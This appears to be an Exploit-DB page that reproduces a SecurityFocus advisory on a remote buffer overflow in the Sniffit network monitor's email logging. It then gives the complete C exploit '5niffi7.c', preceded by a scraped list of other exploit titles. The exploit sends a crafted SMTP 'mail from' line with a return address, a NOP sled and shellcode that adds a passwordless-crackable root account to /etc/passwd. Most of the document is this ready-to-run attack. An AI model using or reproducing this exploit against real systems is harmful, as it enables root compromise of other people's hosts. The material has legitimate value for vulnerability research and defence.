
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
135 lines
No EOL
4.3 KiB
C
135 lines
No EOL
4.3 KiB
C
// source: https://www.securityfocus.com/bid/1158/info
|
|
|
|
Sniffit is a freely available, open source network monitoring tool. It is designed for use on the Unix and Linux Operating Systems.
|
|
|
|
Sniffit contains a remotely exploitable buffer overflow vulnerability. If Sniffit is configured to log emails, attackers may be able to exploit a stack overflow in the logging mechanism and execute arbitrary code as root on the underlying host.
|
|
|
|
There may be other buffer overflow vulnerabilities in sniffit related to the logging mechanism. There are several suspicious instances of sprintf() in the logging functions. Administrators are advised to use more actively supported alternatives such as Snort or dsniff.
|
|
|
|
/*
|
|
* 5niffi7.c - exploiting sniffit 0.3.7.beta for Debian 2.2
|
|
* Copyright (C) 2000 Michel "MaXX" Kaempf <maxx@via.ecp.fr>
|
|
*
|
|
* When a running sniffit session logs the packet sent by 5niffi7,
|
|
* the following shellcode is executed. This shellcode adds the
|
|
* line "r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh" to /etc/passwd.
|
|
* Cracking r00t's password should not be too hard :-)
|
|
*
|
|
* 5niffi7.c is free software; you can redistribute it and/or modify
|
|
* it under the terms of the GNU General Public License as published by
|
|
* the Free Software Foundation; either version 2 of the License, or
|
|
* (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program; if not, write to the Free Software
|
|
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
|
*/
|
|
|
|
#include <netinet/in.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
#define FROM "mail from: "
|
|
#define RET 0xbfff6b5b
|
|
|
|
char shellcode[] =
|
|
"\xeb\x5b\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x5e\x80\x6e\xd9\x1a\x80"
|
|
"\x6e\xdd\x1a\x80\x6e\xd7\x1a\x80"
|
|
"\x6e\xc4\x1a\x80\x6e\xe4\x1a\x90"
|
|
"\x90\x90\x90\x31\xc0\x88\x60\x0b"
|
|
"\xb0\x05\x89\xf3\x31\xc9\x66\xb9"
|
|
"\x01\x04\x31\xd2\xcd\x80\x89\xc7"
|
|
"\xc6\x60\x31\x24\x31\xc0\x88\x60"
|
|
"\x32\xb0\x04\x89\xfb\x8d\x68\x0c"
|
|
"\x31\xd2\xb2\x26\xcd\x80\x31\xc0"
|
|
"\xb0\x06\x89\xfb\xcd\x80\x31\xdb"
|
|
"\x89\xd8\x40\xcd\x80\xe8\xa8\xff"
|
|
"\xff\xff\x2f\x65\x74\x63\x2f\x70"
|
|
"\x61\x73\x73\x77\x64\x78\x72\x30"
|
|
"\x30\x74\x3a\x33\x36\x6d\x73\x76"
|
|
"\x71\x38\x76\x62\x6b\x67\x35\x6b"
|
|
"\x3a\x30\x3a\x30\x3a\x72\x30\x30"
|
|
"\x74\x3a\x2f\x3a\x2f\x62\x69\x6e"
|
|
"\x2f\x73\x68\x78\x78";
|
|
|
|
int main( int argc, char * argv[] )
|
|
{
|
|
int sock_client;
|
|
struct sockaddr_in addr_server, addr_client;
|
|
int i, j;
|
|
char * ip_src, * ip_dst;
|
|
char conn[ 256 ], msg[ 1500 ];
|
|
|
|
if ( argc != 2 )
|
|
{
|
|
fprintf( stderr, "Usage: %s IP\n", argv[0] );
|
|
exit( -1 );
|
|
}
|
|
|
|
if ( (sock_client = socket(PF_INET, SOCK_STREAM, 0)) < 0 )
|
|
{
|
|
exit( -1 );
|
|
}
|
|
|
|
bzero( (void *)&addr_server, sizeof(struct sockaddr_in) );
|
|
addr_server.sin_family = AF_INET;
|
|
addr_server.sin_port = htons( 25 );
|
|
inet_aton( argv[1], &addr_server.sin_addr );
|
|
|
|
if ( connect(sock_client, (struct sockaddr *)&addr_server, sizeof(struct sockaddr_in)) < 0 )
|
|
{
|
|
exit( -1 );
|
|
}
|
|
|
|
i = sizeof( struct sockaddr );
|
|
getsockname( sock_client, (struct sockaddr *)&addr_client, &i );
|
|
|
|
ip_src = strdup( inet_ntoa(addr_client.sin_addr) );
|
|
ip_dst = strdup( inet_ntoa(addr_server.sin_addr) );
|
|
snprintf( conn, sizeof(conn), "%s.%u-%s.%u", ip_src, ntohs(addr_client.sin_port), ip_dst, ntohs(addr_server.sin_port) );
|
|
free( ip_src );
|
|
free( ip_dst );
|
|
|
|
bzero( msg, sizeof(msg) );
|
|
i = 0;
|
|
for ( j = 0; j < strlen(FROM); i++, j++ )
|
|
{
|
|
msg[ i ] = FROM[ j ];
|
|
}
|
|
for ( j = 0; j < 256 - strlen(conn) - strlen(": mail [") - strlen(FROM); i++, j++ )
|
|
{
|
|
msg[ i ] = 'A';
|
|
}
|
|
*((unsigned long *)(&(msg[i]))) = RET;
|
|
i += 4;
|
|
for ( j = 0; j < 1024; i++, j++ )
|
|
{
|
|
msg[ i ] = 0x90;
|
|
}
|
|
for ( j = 0; j < strlen(shellcode); i++, j++ )
|
|
{
|
|
msg[ i ] = shellcode[ j ];
|
|
}
|
|
|
|
if ( write(sock_client, msg, strlen(msg)) < 0 )
|
|
{
|
|
exit( -1 );
|
|
}
|
|
|
|
close( sock_client );
|
|
|
|
exit( 0 );
|
|
} |